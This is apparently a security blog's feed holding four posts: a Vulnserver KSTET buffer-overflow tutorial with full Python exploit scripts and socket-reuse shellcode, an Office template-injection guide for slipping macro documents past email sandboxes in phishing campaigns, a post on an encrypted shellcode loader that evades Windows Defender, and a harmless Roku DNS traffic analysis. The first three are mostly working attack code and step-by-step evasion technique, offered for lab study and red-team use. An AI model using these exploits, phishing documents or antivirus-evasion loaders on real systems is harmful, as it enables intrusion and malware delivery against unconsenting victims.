Sevro Security https://sevrosecurity.com SS Mon, 23 Dec 2019 20:10:19 +0000 en-US hourly 1 https://wordpress.org/?v=5.3.2 https://sevrosecurity.com/wp-content/uploads/2019/09/cropped-ss_icon-2-32x32.png Sevro Security https://sevrosecurity.com 32 32 Vulnserver KSTET Socket Re-use https://sevrosecurity.com/2019/11/20/vulnserver-kstet-socket-re-use/ https://sevrosecurity.com/2019/11/20/vulnserver-kstet-socket-re-use/#respond Wed, 20 Nov 2019 23:21:25 +0000 https://sevrosecurity.com/?p=1685 Sevro Security
Vulnserver KSTET Socket Re-use

In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can...

Vulnserver KSTET Socket Re-use
Joshua

]]>
Sevro Security
Vulnserver KSTET Socket Re-use

In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can re-use this to pull in a larger chunk of shellcode within a buffer we allocate ourselves. In regards to Vulnserver.exe, the recv() function is used anytime we send data to the socket. The data is then parsed by the server and decides what to do with it.

Prerequisites:

  • Vulnserver.exe
  • Immunity or Ollydbg – I will be using Immunity
  • Mona.py
  • Windows VM – I am using a Windows XP Professional host

Resources:


I’m going to skip some of the set-up assuming you understand how to attach a debugger to a process or start a process within a debugger. If you don’t, go ahead and read some of my other buffer overflow tutorials.

The Crash

Part of why I decided to build this tutorial us because I am currently studying for the OSCE. As such, we are going to use the Spike Fuzzer (Native in Kali) to fuzz the VulnServer.exe application and just like the egg hunter tutorial, we will be fuzzing the KSTET parameter. Here is our Spike Fuzzing template (kstet.spk):

s_readline();
s_string("KSTET ");
s_string_variable("0");
s_string("\r\n");
s_readline();

The VulnServer listens on port 9999 and is residing at an IP Address: 192.168.5.130. So, our Spike Fuzzer syntax will be:

generic_send_tcp 192.168.5.130 9999 kstet.spk 0 0

During any fuzzing, it’s a good idea to keep a WireShark instance running in the background so you can manually analyze the packets if a crash occurs.

Fuzzing with the Spike Fuzzer

After less than 2 seconds, we have a visible crash that looks to have overwritten EIP and EBP.

Overflow success

Looking at Wireshark we see that the last valid connection contained the following data:

Wireshark analysis of spike fuzzer

Buffer Overflow Standard Steps

This is the repetitive part of any Buffer Overflow:

  1. Determine the offset in which we overwrote EIP.
  2. Find a JMP ESP Instruction we can use.
  3. Overwrite EIP with the JMP ESP address and control the execution flow.

Determine Offset:

We create a standard pattern using the Metasploit Frameworks pattern_create.rb. This generates a unique string n bytes long that is used to determine the actual offset of the overwrite. The syntax for the ruby script is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
Create pattern to determine EIP offset

Build a Python proof of concept to crash the application similar to the Spike Fuzzer:

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

pattern = ("""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq""")

buf = ""
buf += "KSTET /.:/"
buf += pattern
buf += "\r\n"

s.send(buf)

We send the payload, overwrite EIP with the pattern, and now determine the proper offset

Observed pattern overflowing EIP
Determine EIP offset in base 10

After we have the correct offset, we can build a proof of concept that shows two things:

  1. We have control of EIP and therefore have control of code execution
  2. How much space after the overwrite we have to play with (i.e. store our shellcode)
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += "B" * 4
buf += "C" * 500
buf += "\r\n"

s.send(buf)
Analysis of the Stack after the overflow

We control EIP and we only have 0x10 Bytes of room for shellcode. That’s not enough for anything. However, we have 0x44 Bytes above ESP that we can use to build something useful. In the previous KSTET tutorial, we used this space for an egg-hunter. Now, we are going to build our own shellcode to re-use the WS2_32.recv() function.

Find JMP ESP:

I personally like to use Mona.py with Immunity Debugger to help determine a valid JMP ESP. There are tons of ways to find a proper JMP ESP address, this one just fits my needs.

Finding JMP ESP

Verify we have EIP Control:

Set a breakpoint at the JMP ESP address you selected. Amend you python script to include the JMP ESP address and the EIP overwrite and verify you now hit the JMP ESP address and get back to your code (in this case, the C’s).

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "C" * 500
buf += "\r\n"

s.send(buf)

A Short Jump

In order to get more room to build our custom shellcode, we need to make a short jump to the top of the A’s. In the start of this tutorial, I posted a link describing the JMP SHORT instructions. Basically, these are two (2) byte instructions that will help us move around in memory without taking up a shit ton of space.

In this case, we want to get to address 0x00B8F9C6. An easy way to build the shellcode is write the instructions directly within Immunity by hitting the space bar and typing in the assembly.

Building a two byte jump instruction

As you can see, from the blue text on the left of the Assembly instructions, our opcode is going to be \xEB\xB8. We can simply add this into our python script and verify we have in-fact jumped backwards to our required address.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "\xEB\xB8"               # JMP SHORT
buf += "C" * 500
buf += "\r\n"

s.send(buf)

WS2_32.recv() Review

Before we dig into writing custom shellcode, let’s analyze what is happening locally when recv() is called in the non-altered code.Let’s also define some terms and parameters that are necessary to fully understand before we understand the exploit.

The recv() function is part of the winsock.h header and takes a total of 4 parameters:

  1. SOCKET – This is a Socket Descriptor and defines a valid socket. It’s dynamic and changes each time the binary/exe is run.
  2. *buf – A pointer in memory where we want to start storing what is received from the socket connection.
  3. len – The size of the buffer in Bytes
  4. flags – Will always be set to 0 in our case. We essentially do not use this but need it to complete the function call.
MSDN WS2_32.recv Function Call

Three (3) of the four (4) parameters can be generated by us, the attacker. We easily make up our own values, pop them onto the stack and have a good ol’ day. But, the SOCKET descriptor is the odd man/woman out. This is set dynamically, by the program. It is, however, set predictably and as such we can analyze a live recv() call in action and find where it’s obtaining the SOCKET descriptor from. Once we know where it comes from, we can dynamically pull that value in with our custom shellcode to make our recv() call as legitimate as the original.

Analyze a Legitimate recv():

In your debugger, start a fresh run of vulnserver.exe and put it into a running state. To make sure the debugger (olly or immunity) has analyzed the code properly, hit CTRL+A. This will tell the debugger to analyze the assembly and point out any objective function calls. With this analyzed, look for the recv() function call.

From left to right, the first picture is where the recv() function is called within the program. The second picture is where we land when the CALL is executed. The address in the second image 0x0040252C is very important as that is that address we will CALL at the very end of our custom shellcode.

Next, let’s place a breakpoint at the CALL shown in the first image (leftmost image), and execute our overflow python script so we can observe the legitimate recv() function call.

When the python script is executed, we hit our breakpoint and can view the recv() parameters cleanly located on the stack for us.

Analysis of a valid WS2_32.recv function call
  • SOCKET DESCRIPTOR = 0x00000080
  • BUFFER START ADDR = 0x003E4AD0
  • BUFFER LENGTH = 0x00001000 (4096 Bytes base 10)
  • FLAGS = 0x00000000

Again, at this point, we only care where that Socket Descriptor came from. If we set our breakpoint a few instructions above the CALL <JMP.&WS2_32.recv> we find that MOV EAX, DWORD PTR SS:[EBP-420] is responsible for pulling in the Socket Descriptor. Cool, let’s do some basic math:

EBP = 00B8FFB4 and if we calculate: (00B8FFB4 420) = 00B8FB94‬.

If we navigate to this address in the debugger, we should find our Socket Descriptor and, we do.

Confirming we have found the Socket Descriptor

Custom Shellcode

Now that we have the location of the Socket Descriptor, we can start to build our custom shellcode to setup the stack for our evil recv() function call. Since the Stack grow from bottom up, we need to build our stack with that in mind starting by adding the FLAG parameter first and the Socket Descriptor last.

The easiest way to build your custom shellcode is simply to do it in the Debugger. Set a breakpoint at your JMP ESP, get to you JMP instruction and start building your shellcode. Below is an example on how I setup my Stack:

recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

Let’s go through this step by step:

  • Lines 2-3: I found that the stack was not aligned after the second payload was sent. This aligns the stack for our second payload
  • Lines 4-5: We XoR the EDX Register by itself to make it 0 (0x00000000) and PUSH it onto the stack. This will serve as our FLAG parameter.
  • Lines 6-8: We cannot have a null byte (0x00) in our shellcode so, we add 0x4 to EDX and shift it left by 1 Byte (8-bits) to give us 0x400 This serves as our Buffer Size.
  • Lines 9-12: Zero out EDX with XoR, MOV 0xB8F9FB90 into EDX, shift right to get rid of 0x90 and get our 0x00 for a final value of 0x00B8F9FB. This serves as our Buffer Start Address.
  • Lines 13-15: Load Socket Descriptor addr. into ECX, PUSH the value of the data located at ECX (denoted as [ECX]not ECX, note the difference). This serves as the Socket Descriptor.
  • Lines 16-18: Load the address of WS2_32.recv, that we found when we analyzed the legitimate recv(), into EDX and CALL EDX to complete the function call.
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)

Exploitation

All we have to do is generate a second payload and send it right after our overflow payload. Since we have tricked vulnserver into running the recv() function, it will take our second send data and store it at the buffer address we specified. Let’s test this out with a payload of 0xCC (Int 3) so that the program will halt when it hits our shellcode.

Secondary payload made it to our memory location

Let’s add some basic shellcode to pop calc.exe and verify that our exploit works.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)                             # Stage 1 Payload Send

# msfvenom -p windows/exec CMD=calc.exe -b '\x00' --var-name calc -f python
calc =  b""
calc += b"\xdb\xdc\xd9\x74\x24\xf4\x5f\xb8\x43\x2c\x57\x7b\x2b"
calc += b"\xc9\xb1\x31\x31\x47\x18\x83\xc7\x04\x03\x47\x57\xce"
calc += b"\xa2\x87\xbf\x8c\x4d\x78\x3f\xf1\xc4\x9d\x0e\x31\xb2"
calc += b"\xd6\x20\x81\xb0\xbb\xcc\x6a\x94\x2f\x47\x1e\x31\x5f"
calc += b"\xe0\x95\x67\x6e\xf1\x86\x54\xf1\x71\xd5\x88\xd1\x48"
calc += b"\x16\xdd\x10\x8d\x4b\x2c\x40\x46\x07\x83\x75\xe3\x5d"
calc += b"\x18\xfd\xbf\x70\x18\xe2\x77\x72\x09\xb5\x0c\x2d\x89"
calc += b"\x37\xc1\x45\x80\x2f\x06\x63\x5a\xdb\xfc\x1f\x5d\x0d"
calc += b"\xcd\xe0\xf2\x70\xe2\x12\x0a\xb4\xc4\xcc\x79\xcc\x37"
calc += b"\x70\x7a\x0b\x4a\xae\x0f\x88\xec\x25\xb7\x74\x0d\xe9"
calc += b"\x2e\xfe\x01\x46\x24\x58\x05\x59\xe9\xd2\x31\xd2\x0c"
calc += b"\x35\xb0\xa0\x2a\x91\x99\x73\x52\x80\x47\xd5\x6b\xd2"
calc += b"\x28\x8a\xc9\x98\xc4\xdf\x63\xc3\x82\x1e\xf1\x79\xe0"
calc += b"\x21\x09\x82\x54\x4a\x38\x09\x3b\x0d\xc5\xd8\x78\xe1"
calc += b"\x8f\x41\x28\x6a\x56\x10\x69\xf7\x69\xce\xad\x0e\xea"
calc += b"\xfb\x4d\xf5\xf2\x89\x48\xb1\xb4\x62\x20\xaa\x50\x85"
calc += b"\x97\xcb\x70\xe6\x76\x58\x18\xc7\x1d\xd8\xbb\x17"


payload = ""
payload += calc
payload += "\r\n"

s.send(payload)                           # Stage 2 Payload Send
Shellcode injection to pop calc.exe after exploit

Vulnserver KSTET Socket Re-use
Joshua

]]>
https://sevrosecurity.com/2019/11/20/vulnserver-kstet-socket-re-use/feed/ 0
Dynamic Office Template Injection https://sevrosecurity.com/2019/09/12/dynamic-office-template-injection-for-sandbox-bypass/ https://sevrosecurity.com/2019/09/12/dynamic-office-template-injection-for-sandbox-bypass/#respond Thu, 12 Sep 2019 23:00:33 +0000 https://sevrosecurity.com/?p=1528 Sevro Security
Dynamic Office Template Injection

Bypass Email Sandboxes With Dynamic VB Macros Using Template Injection

Dynamic Office Template Injection
Joshua

]]>
Sevro Security
Dynamic Office Template Injection

You’ve sent your phishing email with a malicious Microsoft Office document. You pored your blood, sweat, and tears into that sexy Macro of yours. However, modern appliances can easily run that macro in a sandbox and determine if it’s evil or benign.

Sure, you could use common techniques to enumerate if you’re in a sandbox or not but, that requires more code and for the love of god, we’ve all written too much VBA as is. Or, you could encrypt the document and supply the password within the email/title but, some sandboxes have caught on to that as well or maybe the user is too lazy. Another option is to use Dynamic Office Template Injection.


Template Injection

There are some massive benefits to using template injection such as:

  • Ability to send a Docx and not a Docm
  • Macro does not “Live” within the Docx
  • Can “Hot Swap” payloads
  • Can remotely turn macros on and off

Template injection works via the following process (for the example moving forward, I will be using Microsoft Word):

  1. Build your malicious macro into a .Dotm (Microsoft Template containing a Macro).
  2. Host your .Dotm publicly via an S3 bucket, GCP Bucket, DO Space, etc.
  3. Create a .Docx document with a Microsoft Template.
  4. Unzip the .Docx and modify a single XML file
  5. Zip contents back up and change .zip to .Docx

Create the Dotm Document

Here is the Macro that we will add to the .dotm document:

Sub AutoOpen()

    Dim Execute As Variant
    Execute = Shell("calc.exe", vbNormalFocus)

End Sub

In the example case, the Macro simply opens up calc.exe, as all good malware does in its infancy. Once we have the Macro working, we make sure to save the Word Document as a .dotm.

Create and test your macro
Calc.exe Macro

Create the Docx Document

When creating the .docx document, you need to select a real Microsoft Template. I like to use a resume template as they usually do not contain images or extremely fancy formatting.

Select an office template
Select a Template

Now that we have both documents created [example.dotm, resume.docx], let’s host example.dotm on a Digital Ocean space.

Host the macro enabled template
Host the example.dotm

Get the URI to example.dotm and move back to where we have the resume.docx. If you have 7-zip, winzip, etc., right click resume.docx and select Extract Here. If successful, you will be presented with a few new folders and a single xml file as seen below.

Unzip the .docx document
After resume.docx Unzipping

Navigate to word –> _rels –> and open the settings.xml.rels in any text editor. We are going to replace the Target variables data with our example.dotm URI.

settings.xml.rels before the edit.
Before Replacement
settings.xml.rels after the edit.
After Replacement

Save settings.xml.rels and go back to the root directory of the original .docx. Select all the files/directories that were generated from the unzipping:

  • _rels
  • customXml
  • docProps
  • word
  • [Content_Types].xml

Add them all to a single .zip archive and then change the .zip suffix to a .docx suffix to complete the transformation.

Zip the contents of the docx back up
Data to be Zipped
the zip successfully completed.
After Zipping
Rename the.zip to .docx
Change .zip to .docx

The resulting resume.docx will now attempt to pull down the example.dotm template from our Digital Ocean Space each and every time it is opened. The fun part is, we can change the permissions on the example.dotm URI to be Public or Private.


Dynamic Macro Enabling/Disabling

What makes this interesting is the fact that we can change access to the example.dotm file hosted on Digital Ocean simply by making the URI Private or Public.

Resume.docx does not crash when it attempts to navigate to the non-existent example.dotm URI, it just doesn’t load a macro because there’s not one there. Simply put, it looks like any standard docx should.

When we change the example.dotm URI back to Public, and re-open resume.docx, we are presented with a macro enabled document since the URI is alive.

Disable Docx Macro:

By “disable” I simple mean change access to the URI where the .dotm document is located. If the .docx can’t find it, then there’s no macro.

Setting the remote office macro to private
Example.dotm Set to Private
Template Document disabled, no macro is loaded.
Docx Opens Normally

Enable Docx Macro:

Setting the example.dotm to Public and re-opening resume.docx will give us a macro enabled docx that opens calc.exe when we click Enable Content.

Host the Office template on w VPS
Example.dotm Set to Public
Docx loading a macro from office template.
We Get The “Enable Content” Warning
Word Macro Executing Calc.exe
Enabling Content Opens Calc.exe

Use Case

At the top of this post I outlines four (4) of the positives when using this technique. The most objective one being bypassing Email filtering by sending a truly benign docx. Yes, you risk a user opening the document without detonating your macro if they’re really motivated to open everything in their email immediately. But hell, send the phish, wait 5-7min, and arm the link.

It’s also worth noting that an attacker can easily change payloads. For example, if for some reason your initial C2 has been burned but the infection point is undetermined, you can swap out the example.dotm with one of your backup C2’s.


Similar Blog Posts

I am not the originator of this technique and nor do I claim to be. Here are some other blogs describing this same exact technique if you’re interested!

Dynamic Office Template Injection
Joshua

]]>
https://sevrosecurity.com/2019/09/12/dynamic-office-template-injection-for-sandbox-bypass/feed/ 0
Bypass Windows Defender with A Simple Shell Loader https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/ https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/#respond Sat, 25 May 2019 05:25:19 +0000 https://sevrosecurity.com/?p=1460 Sevro Security
Bypass Windows Defender with A Simple Shell Loader

One of the most simplistic ways to get past Windows Defender is to roll your own shell code loader. There are hundreds of examples on GitHub, GitLab, and BitBucket but, this post is going to break it down and provide a simple framework that Red...

Bypass Windows Defender with A Simple Shell Loader
Joshua

]]>
Sevro Security
Bypass Windows Defender with A Simple Shell Loader

One of the most simplistic ways to get past Windows Defender is to roll your own shell code loader. There are hundreds of examples on GitHub, GitLab, and BitBucket but, this post is going to break it down and provide a simple framework that Red Teams and Penetration Testers alike can use.

Live exploitation

This tutorial does not result in a final “tool” although, it will have complete and compilable code. I know I know, C# is not compiled, it’s JIT, but for the sake a brevity, I’m calling it compiled.


Resources

Before jumping right in, here is a list of resources that will help answer questions and concerns you may have while reading this post (AKA: I won’t define/detail every aspect of the exploit and only highlight important and kick-ass things):


Current State

Here’s my system and build information for reference.

Exploit Information:

  • Language: C#
    • .NET Framework 4.0 (Cross compile to whatever you like)
    • Visual Studio 17 (community)
  • Build Architecture: x86
  • Shell Code: MSFVenom windows/exec
    • msfvenom -a x86 -p windows/exec cmd=calc.exe -f csharp

Victim Information:

  • Windows 10 Version 1809
    • Fully Patched and Updated (5/24/2019)
    • Defender Real-Time and Online protection Enabled
    • Firewall Enabled
All of Defenders services are turned on and updated

Testing

As of writing this (5/24/2019), Windows defender client Machine Learning system is able to easily detect stock Metasploit payloads. That’s not surprising. The question I asked myself was, to what extent do I need to go to to build a standalone binary that will execute a payload without the binary being flagged as malicious?

When I say to what extent, I am talking about coding techniques and byte code obfuscation. For example, would simply Base64 encoding a byte[] object work for us? The short answer is, No.

Initial testing consisted of generating a simple calc.exe execution payload where the shell code (C# byte Array) would be loaded and executed in memory using VirtualAlloc().

After building the x86 Release exe, moving the exe to the desktop, and executing it, Defender flagged it as malicious and promptly removed the executable from the system.

Defender MessageBox
Defender Event

Looking at Event 1116 from above, it looks like Defender is flagging on the known formatting of Metasploit. Defender is saying this is a Win32 Meterpreter payload which, it’s not. Microsoft doesn’t care as long as it catches a known Metasploit byte signature. The good news is we might just be able to encode or encrypt the payload to bypass Defender.


The Bypass

Video of the actual bypass
Metasploit Shell_Reverse_TCP Example

It’s helpful to understand what we are trying to defeat. We know, initially, we are trying to defeat the Windows Defender Client Side Machine Learning (Client ML) subsystem and most 3rd party EDR and AV products. Things we want to avoid are massive Base64 strings because of their large entropy values. This will be immediately flagged by most EDR/AV products.

Other things we want to avoid are immediate shellcode execution for Windows Defender heuristic reasons. Defender and some EDR/AV products will be smart enough to remove sleep functions from your code so, depending on your Client/Target, this may or may not be an anti-forensics technique you utilize. My first thought was to have an base64 decoding and AES256 decryption routine to get the payload ready for execution. This would also delay execution by a few hundred milliseconds.

It turns out, that’s all that was needed. I have an Encrypt() and Decrypt() function in my code that utilizes AES 256. A user can encrypt and encode their data with the Simple-Loader tool to get the final shellcode encrypted blob in Base64 encoding.

Simple-Loader.exe <path_to_metasploit_payload_txt>

Generate your paylaod
Encrypt Payload Example

GitHub Repository

The repository is a quick and dirty one as this is just a simple example. However, here is a breakdown on how to use it:

  • Open the Simple-Loader.sln in Visual Studio
  • Double click Program.cs
  • Goto Build –> Build Simple-Loader
    • A new Binary will be located in simple-loader/bin/
Build the loader
Build Simple-Loader.exe for Encryption
  • Generate a payload with msfvenom and save to text file.
    • msfvenom -p windows/exec cmd=calc.exe -f csharp -o payload.txt
  • Encrypt and Encode the payload with the Simple-Loader.exe binary.
    • Simple-Loader.exe <path_to_payload>
Encrypt the payload
Generate and Encrypt Payload
  • Take the output from Simple-Loader and replace the Sting hiphop with your new payload.
Add the encrypted payload
Change hiphop String
  • Re-Build the binary and you’re good to go!

Hopefully this helps shed some light on the simplicity of bypassing Windows Defender on a fully patched system!

Cheers!

Bypass Windows Defender with A Simple Shell Loader
Joshua

]]>
https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/feed/ 0
Roku & PiHole – A Deep Dive https://sevrosecurity.com/2018/12/07/roku-pihole-a-deep-dive/ https://sevrosecurity.com/2018/12/07/roku-pihole-a-deep-dive/#comments Fri, 07 Dec 2018 17:11:56 +0000 https://sevrosecurity.com/?p=1281 Sevro Security
Roku & PiHole – A Deep Dive

Update 1: (12/16/2018) – GitHub Repository Made Public Here. Update 2: (12/16/2018) – Added a new analysis as /u/Anchor-shark within the /r/pihole subreddit mentioned I should take a look at a Roku that does not have the logging servers blocked. I have done just that....

Roku & PiHole – A Deep Dive
Joshua

]]>
Sevro Security
Roku & PiHole – A Deep Dive

Update 1: (12/16/2018) – GitHub Repository Made Public Here.

Update 2: (12/16/2018) – Added a new analysis as /u/Anchor-shark within the /r/pihole subreddit mentioned I should take a look at a Roku that does not have the logging servers blocked. I have done just that.


This is a work in progress. It’s not perfect but it’s just starting to get cool and I’m digging deeper! I think this is going to be the first post in a series. I say that because I need to get my hands on some older hardware and there are some other gears moving as well. Anyhow, here’s the post.

A while back (years ago), I added a PiHole to my network. The thing is a damn workhorse! If you don’t know what PiHole is, well, you’re wrong and you should! Long story short, it’s a network-wide add blocker with a ton of features. But most importantly, it has lots of color and looks pretty.

PiHole Web GUI


Anyhow, I was recently looking over the data on my PiHole and noticed a serious amount of traffic coming from my Roku’s. Before I start getting into the specifics, let me first describe the systems on my network.

I own 3 different Roku’s. All of which are 1-2 years old which is important for a few different reasons.

  1. They’re all running Roku OS v8+
  2. Old features such as TCPdump are now unavailable.
  3. Secret menus contain less functionality.

The Roku’s are all on a 192.168.1.x/24 network. This isn’t massively important but, it’s worth noting.


Roku Traffic Analysis

PiHole was showing that a large majority of all the traffic on my home LAN was coming from my three Roku devices. This isn’t too surprising since they’re streaming devices and at any given time one or two of them are active (wife, kids, etc.).

I still decided to investigate and take a deeper look into the data to see what the Roku’s were actually doing. First, let’s just take a look at the data within the PiHole Web UI.

Top Blocked Domains
Top Clients for Blocked Activity

The traffic displayed int eh images above are DNS queries that has been blocked and queries that have nothing to do with my streaming services (i.e., Netflix, Amazon, etc.). But still, those are only the blocked domains that are being seen so, a deeper look was necessary.

The next logical thing to do is to pull the logs from the server and start to parse them. The problem is PiHole rotates the logs every 5 days. So before you can jump right in, you need to change the logrotate configuration. I changed mine to rotate every 100 days. Full disclosure, the data that I will present here is from a 14 day analysis. I don’t expect a massive difference but, I thought I would put it out there.

I waited 24 days, pulled the logs, and wrote some python to strip the logs for the data I wanted. My initial criteria to narrow the logs down to a manageable size was:

  • Only log entries with the DNS request coming from the Roku IP’s.
  • Only the Date, IP, URI attributes shall be parsed.

The logs themselves are not in the best form so, first things first, translate the data I want to a CSV and store to disk for later parsing. Also, this makes it SOO much easier to ingest the data into a pandas dataframe for analysis.

Once the logs are in CSV and in a dataframe object, we can them parse out the following:

  • Log entries that have a Roku logging servers listed as the URI.
  • Log entries for logging servers on a per IP basis for individual analysis.

This left me with several csv’s:

  • all_logs.csv – Contains all logs parsed from the 14 log files from the Roku IP’s.
  • roku_logs.csv – All log entries that are *.logs.roku.com
  • <ip>.csv – Three logs segregated by IP subject to the roku_logs.csv

My main goal with this initial analysis is to determine how much traffic compared to all traffic do the Roku’s generate on my network and how much of that traffic was Roku logging traffic (i.e., not streaming traffic). The last thing is a differential time analysis. That is, how often are the Roku’s beaconing out to the logging servers.


Analysis Results

When you initially look at the logs, it seems that most of the Roku’s beacon out every 30 seconds to their logging servers. Sometimes, well most times, it’s multiple beacons every 30 seconds to different servers. Here’s an example:

24 Days of aggregated data

  • Roku overall traffic made up 34% of all traffic on my LAN
  • Roku direct logging traffic made up 14% of all traffic on my LAN
  • 192.168.1.58:
    • Total Number of Logging Records: 115,594
    • Beacons on average every 18.69 seconds over 24 days
  • 192.168.1.99:
    • Total Number of Logging Records: 129,408
    • Beacons on average every 16.69 seconds over 24 days
  • 192.168.1.209:
    • Total Number of Logging Records: 149,977
    • Beacons on average every 14.40 seconds over 24 days

